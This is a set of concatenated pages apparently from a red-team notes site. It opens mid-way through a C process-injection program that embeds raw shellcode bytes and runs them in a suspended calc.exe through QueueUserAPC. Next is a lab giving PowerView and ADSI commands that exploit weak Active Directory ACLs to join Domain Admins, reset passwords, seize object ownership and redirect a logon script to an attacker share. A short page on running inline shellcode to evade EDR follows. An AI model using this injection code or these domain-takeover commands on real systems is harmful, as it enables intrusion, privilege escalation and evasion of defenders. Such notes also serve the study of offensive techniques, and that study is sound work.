48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; SIZE_T shellSize = sizeof(buf); STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread; LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle); return 0; } --- # Abusing Active Directory ACLs/ACEs | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces.md) . [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#context) Context ------------------------------------------------------------------------------------------------------------------------------------------------ This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs. Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc). An example of ACEs for the "Domain Admins" securable object can be seen here: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQoyPbfXZf7NsXQLDfn%252F-LQozBYCqiYmXeC0X8td%252FScreenshot%2520from%25202018-11-08%252020-21-25.png%3Falt%3Dmedia%26token%3D4ae6a6d5-c614-422a-80c3-eda1e7e56225&width=768&dpr=3&quality=100&sign=6682cfd8&sv=2) Some of the Active Directory object permissions and types that we as attackers are interested in: * **GenericAll** - full rights to the object (add users to a group or reset user's password) * **GenericWrite** - update object's attributes (i.e logon script) * **WriteOwner** - change object owner to attacker controlled user take over the object * **WriteDACL** - modify object's ACEs and give attacker full control right over the object * **AllExtendedRights** - ability to add user to a group or reset password * **ForceChangePassword** - ability to change user's password * **Self (Self-Membership)** - ability to add yourself to a group In this lab, we are going to explore and try to exploit most of the above ACEs. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#execution) Execution ---------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-on-user) GenericAll on User Using powerview, let's check if our attacking user `spotless` has `GenericAll rights` on the AD object for the user `delegate`: We can see that indeed our user `spotless` has the `GenericAll` rights, effectively enabling the attacker to take over the account: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQjpiAP-4fU_5UNuywO%252F-LQjpClfAYbjfz5sTFhk%252FScreenshot%2520from%25202018-11-07%252020-19-43.png%3Falt%3Dmedia%26token%3Db2800791-71b0-4898-9e0f-ae24fa6bcf14&width=768&dpr=3&quality=100&sign=500f2555&sv=2) We can reset user's `delegate` password without knowing the current password: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQp-H1xlaH8aA4-2Hop%252F-LQp0OBEFjQyrzBFIbRN%252FScreenshot%2520from%25202018-11-07%252020-21-30.png%3Falt%3Dmedia%26token%3De1301337-95b6-4b0c-8528-86cc47784b31&width=768&dpr=3&quality=100&sign=d0902cff&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-on-group) GenericAll on Group Let's see if `Domain admins` group has any weak permissions. First of, let's get its `distinguishedName`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQmiPt4uZmkID4t36ha%252F-LQmijiklf02gLJWMtCp%252FScreenshot%2520from%25202018-11-08%252009-50-20.png%3Falt%3Dmedia%26token%3D2152c357-43ce-4eaa-a819-301389c2d51f&width=768&dpr=3&quality=100&sign=1f938ea9&sv=2) We can see that our attacking user `spotless` has `GenericAll` rights once again: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQmiPt4uZmkID4t36ha%252F-LQmjBGYGbZA_OOIeNHO%252FScreenshot%2520from%25202018-11-08%252009-52-10.png%3Falt%3Dmedia%26token%3D29c0df88-43ec-46c3-83be-d0e453ce9307&width=768&dpr=3&quality=100&sign=a4fc4ee6&sv=2) Effectively, this allows us to add ourselves (the user `spotless`) to the `Domain Admin` group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQmiPt4uZmkID4t36ha%252F-LQmn2GTsTnPY3SQCslO%252FPeek%25202018-11-08%252010-07.gif%3Falt%3Dmedia%26token%3Dd24110bc-b5de-4bd9-a7be-5401f5588c16&width=768&dpr=3&quality=100&sign=57f567a4&sv=2) Same could be achieved with Active Directory or PowerSploit module: ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-genericwrite-write-on-computer) GenericAll / GenericWrite / Write on Computer If you have these privileges on a Computer object, you can pull [Kerberos Resource-based Constrained Delegation: Computer Object Take Over](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution) off. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#writeproperty-on-group) WriteProperty on Group If our controlled user has `WriteProperty` right on `All` objects for `Domain Admin` group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQmxW76ILHmnfUZadTW%252F-LQn0GQY_pynhU0Gap3y%252FScreenshot%2520from%25202018-11-08%252011-11-11.png%3Falt%3Dmedia%26token%3D3e31b7c9-68c5-4c29-ae17-38dbcca5b207&width=768&dpr=3&quality=100&sign=ff87ff9e&sv=2) We can again add ourselves to the `Domain Admins` group and escalate privileges: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQmxW76ILHmnfUZadTW%252F-LQn-AtQXNvoLNDvyb0T%252FScreenshot%2520from%25202018-11-08%252011-06-32.png%3Falt%3Dmedia%26token%3D42b5bc6d-7f40-4a73-b7ea-3b1e27afed68&width=768&dpr=3&quality=100&sign=a02e4666&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#self-self-membership-on-group) Self (Self-Membership) on Group Another privilege that enables the attacker adding themselves to a group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQn10Ds3mgRr8Pv1bKS%252F-LQn3ApZIp7wGvogb4yW%252FScreenshot%2520from%25202018-11-08%252011-23-52.png%3Falt%3Dmedia%26token%3D5e641134-a59b-4c75-a30a-2cbfe7aa4ce2&width=768&dpr=3&quality=100&sign=98e888b2&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQn10Ds3mgRr8Pv1bKS%252F-LQn3WPwtfgu7VBo-Jgo%252FScreenshot%2520from%25202018-11-08%252011-25-23.png%3Falt%3Dmedia%26token%3De3a39a62-c000-4543-9240-d3d91eae1700&width=768&dpr=3&quality=100&sign=890f4873&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#writeproperty-self-membership) WriteProperty (Self-Membership) One more privilege that enables the attacker adding themselves to a group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQnuM4wKjoznxmsAIQA%252F-LQnuYxxnMVF0KUlnZhS%252FScreenshot%2520from%25202018-11-08%252015-21-35.png%3Falt%3Dmedia%26token%3D769bdf87-e5c8-41cc-9110-7f186249e1f8&width=768&dpr=3&quality=100&sign=44c49ae&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQnuM4wKjoznxmsAIQA%252F-LQnurOfE0u5MmN70FQl%252FScreenshot%2520from%25202018-11-08%252015-22-50.png%3Falt%3Dmedia%26token%3D3df1b29c-98a7-46b6-8c37-587f79b2a5f1&width=768&dpr=3&quality=100&sign=f2fa1809&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#forcechangepassword) **ForceChangePassword** If we have `ExtendedRight` on `User-Force-Change-Password` object type, we can reset the user's password without knowing their current password: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQn10Ds3mgRr8Pv1bKS%252F-LQnIJkd1cZiPs5pAKxh%252FScreenshot%2520from%25202018-11-08%252012-30-11.png%3Falt%3Dmedia%26token%3D05e49782-3b43-415d-9393-376fe5233448&width=768&dpr=3&quality=100&sign=e5b3dbfa&sv=2) Doing the same with powerview: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQn10Ds3mgRr8Pv1bKS%252F-LQnIhBndQp0TR-oq77M%252FScreenshot%2520from%25202018-11-08%252012-31-52.png%3Falt%3Dmedia%26token%3Db4b12000-89e2-4a38-97df-aebc6db5cd4c&width=768&dpr=3&quality=100&sign=b0259158&sv=2) Another method that does not require fiddling with password-secure-string conversion: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQne3ATFqC0MratUZJp%252F-LQneUrg0fzhoLA_Nf6_%252FScreenshot%2520from%25202018-11-08%252014-11-25.png%3Falt%3Dmedia%26token%3D01f66595-381d-41c8-8815-22838c3e1d82&width=768&dpr=3&quality=100&sign=83916ecb&sv=2) ...or a one liner if no interactive session is not available: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQnOOg2UuisoYtQlsNz%252F-LQnOmTWDzUfJFsAcKA4%252FScreenshot%2520from%25202018-11-08%252012-58-25.png%3Falt%3Dmedia%26token%3Dc4396273-a499-4a04-bf31-710d2c44954a&width=768&dpr=3&quality=100&sign=1da385ad&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#writeowner-on-group) WriteOwner on Group Note how before the attack the owner of `Domain Admins` is `Domain Admins`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQoECV1FDB-H_F_sZZl%252F-LQoEZ10KIG81i-2awq5%252FScreenshot%2520from%25202018-11-08%252016-45-36.png%3Falt%3Dmedia%26token%3Da88b2b0d-6fdc-4522-a92c-08a161da6a2e&width=768&dpr=3&quality=100&sign=fe467033&sv=2) After the ACE enumeration, if we find that a user in our control has `WriteOwner` rights on `ObjectType:All` ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQoECV1FDB-H_F_sZZl%252F-LQoEdTkZ0renZwjI4Y7%252FScreenshot%2520from%25202018-11-08%252016-45-42.png%3Falt%3Dmedia%26token%3D976862eb-ca41-4b9d-8c5d-428b1170b89b&width=768&dpr=3&quality=100&sign=695763a4&sv=2) ...we can change the `Domain Admins` object's owner to our user, which in our case is `spotless`. Note that the SID specified with `-Identity` is the SID of the `Domain Admins` group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQoECV1FDB-H_F_sZZl%252F-LQoEw6ju4djFcgir36x%252FScreenshot%2520from%25202018-11-08%252016-54-59.png%3Falt%3Dmedia%26token%3D30f0e2f9-fbdb-4194-8c19-3b00f1ee6648&width=768&dpr=3&quality=100&sign=fa4547a1&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericwrite-on-user) GenericWrite on User ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQohCREBZ7Ian7G7pfx%252F-LQojJ2fBHF5Sd_kfc3V%252FScreenshot%2520from%25202018-11-08%252019-12-04.png%3Falt%3Dmedia%26token%3Da03e9724-1d4c-4616-b02f-b318e8ba374c&width=768&dpr=3&quality=100&sign=d9aeb3b&sv=2) `WriteProperty` on an `ObjectType`, which in this particular case is `Script-Path`, allows the attacker to overwrite the logon script path of the `delegate` user, which means that the next time, when the user `delegate` logs on, their system will execute our malicious script: Below shows the user's `~delegate~` logon script field got updated in the AD: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQohCREBZ7Ian7G7pfx%252F-LQojiC-BS6rJYq9PMaj%252FScreenshot%2520from%25202018-11-08%252019-13-45.png%3Falt%3Dmedia%26token%3D00dd841d-a6bd-4565-a1f7-903e482273a4&width=768&dpr=3&quality=100&sign=d848e294&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#writedacl--writeowner) WriteDACL + WriteOwner If you are the owner of a group, like I'm the owner of a `Test` AD group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQyQIId2LzDsrZi2lxp%252F-LQz0EI9Uv43_y7X1LuZ%252FScreenshot%2520from%25202018-11-10%252019-02-57.png%3Falt%3Dmedia%26token%3D39627031-617c-4f72-b009-cbdefec53b12&width=768&dpr=3&quality=100&sign=73861281&sv=2) Which you can of course do through powershell: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQz56gec8t1bT9NafYR%252F-LQz5TlyZ8PzQSkMwgjs%252FScreenshot%2520from%25202018-11-10%252019-29-27.png%3Falt%3Dmedia%26token%3D4ad3342d-9bb4-4ab8-beb0-bee36bc9eafe&width=768&dpr=3&quality=100&sign=a1cc2c0f&sv=2) And you have a `WriteDACL` on that AD object: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQyQIId2LzDsrZi2lxp%252F-LQz0NbqcSfT3gWVhr6D%252FScreenshot%2520from%25202018-11-10%252019-07-16.png%3Falt%3Dmedia%26token%3Defb42522-346d-44e1-ab77-3ad3ac74154c&width=768&dpr=3&quality=100&sign=dc477e71&sv=2) ...you can give yourself [`GenericAll`](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-on-group) privileges with a sprinkle of ADSI sorcery: Which means you now fully control the AD object: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQyQIId2LzDsrZi2lxp%252F-LQz0XLP59LZk0Cwuey1%252FScreenshot%2520from%25202018-11-10%252019-02-49.png%3Falt%3Dmedia%26token%3D505546bf-1585-4e68-b689-22f4a0f4e315&width=768&dpr=3&quality=100&sign=6785000b&sv=2) This effectively means that you can now add new users to the group. Interesting to note that I could not abuse these privileges by using Active Directory module and `Set-Acl` / `Get-Acl` cmdlets: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQyQIId2LzDsrZi2lxp%252F-LQz11n0b6eE7L6BHO-O%252FScreenshot%2520from%25202018-11-10%252019-09-08.png%3Falt%3Dmedia%26token%3D2a95cbaa-2b3c-4e8f-a67c-a17f112c2c9c&width=768&dpr=3&quality=100&sign=8d3d0e96&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------ [BloodHound 1.3 – The ACL Attack Path Updatewald0.com](https://wald0.com/?p=112) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)ActiveDirectoryRights Enum (System.DirectoryServices)MicrosoftLearn](https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fblog.fox-it.com%2Fwp-content%2Fuploads%2F2019%2F02%2Ffox-logo-only.png%3Fw%3D49&width=20&dpr=3&quality=100&sign=d0fa44ed&sv=2)Escalating privileges with ACLs in Active DirectoryFox-IT International blog](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) [Scanning for Active Directory Privileges & Privileged AccountsActive Directory & Azure AD/Entra ID Security](https://adsecurity.org/?p=3658) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)ActiveDirectoryAccessRule Constructor (System.DirectoryServices)MicrosoftLearn](https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_) [PowerView Tricks](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) [PreviousPowerView: Active Directory Enumeration](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview) [NextPrivileged Accounts and Token Privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) Last updated 6 years ago * [Context](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#context) * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#execution) * [GenericAll on User](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-on-user) * [GenericAll on Group](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-on-group) * [GenericAll / GenericWrite / Write on Computer](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-genericwrite-write-on-computer) * [WriteProperty on Group](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#writeproperty-on-group) * [Self (Self-Membership) on Group](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#self-self-membership-on-group) * [WriteProperty (Self-Membership)](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#writeproperty-self-membership) * [ForceChangePassword](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#forcechangepassword) * [WriteOwner on Group](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#writeowner-on-group) * [GenericWrite on User](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericwrite-on-user) * [WriteDACL + WriteOwner](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#writedacl--writeowner) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#references) Copy Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"} Copy Get-NetGroup "domain admins" -FullData Copy Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"} Copy net group "domain admins" spotless /add /domain Copy # with active directory module Add-ADGroupMember -Identity "domain admins" -Members spotless # with Powersploit Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" Copy net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain Copy net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain Copy Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Copy net group "domain admins" spotless /add /domain Copy Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Copy Set-DomainUserPassword -Identity delegate -Verbose Copy $c = Get-Credential Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose Copy Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose Copy Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Copy Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose Copy Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Copy Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" Copy ([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value Copy $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow" $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE) $ADSI.psbase.commitchanges() Copy $path = "AD:\CN=test,CN=Users,DC=offense,DC=local" $acl = Get-Acl -Path $path $ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow" $acl.AddAccessRule($ace) Set-Acl -Path $path -AclObject $acl --- # Executing Shellcode with Inline Assembly in C/C++ | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-inline-assembly-in-c-c++.md) . It's possible to execute shellcode inline in a C/C++ program. The reason why it's good to have this technique in your arsenal is because it does not require you to allocate new `RWX` memory to copy your shellcode over to by using `VirtualAlloc` API which is heavily monitored by EDRs and can get you caught. Instead, the code will get embedded into the PE's `.TEXT` section which is executable by default as this is where the rest of your application's code resides. [](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-inline-assembly-in-c-c++#execution) Execution -------------------------------------------------------------------------------------------------------------------------------------------------------- Install mingw - I'm doing it via chocolatey pacakge manager: Copy choco install mingw Create a simple C program that includes the shellcode. In my case, I'm simply adding 4 NOP instructions and prior to that, I am printing out the string `spotless`, so I can easily identify the shellcode location when debugging the program: inline-shellcode.c Copy #include #include int main() { printf("spotless"); asm(".byte 0x90,0x90,0x90,0x90\n\t" "ret\n\t"); return 0; } Let's compile and link the code: Copy gcc -c .\inline-shellcode.c -o main.o; g++.exe .\main.o -o .\main.exe Debugging the code via xdbg, we can see where the string `spotless` is going to be printed out and straight after it, we have the 4 NOP instructions: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LksmcRKJvu8y6057y0y%252F-LksmzZsiGWinNTkjszV%252Fimage.png%3Falt%3Dmedia%26token%3Da6db58a7-71f3-4c9a-b0e4-13309fb54a0a&width=768&dpr=3&quality=100&sign=bc075245&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-inline-assembly-in-c-c++#references) References ---------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - Mr-Un1k0d3r/Shellcoding: Shellcoding utilitiesGitHub](https://github.com/Mr-Un1k0d3r/Shellcoding) [PreviousFinding Kernel32 Base and Function Addresses in Shellcode](https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode) [NextWriting Custom Shellcode Encoders and Decoders](https://www.ired.team/offensive-security/code-injection-process-injection/writing-custom-shellcode-encoders-and-decoders) Last updated 6 years ago * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-inline-assembly-in-c-c++#execution) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-inline-assembly-in-c-c++#references) --- # Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as 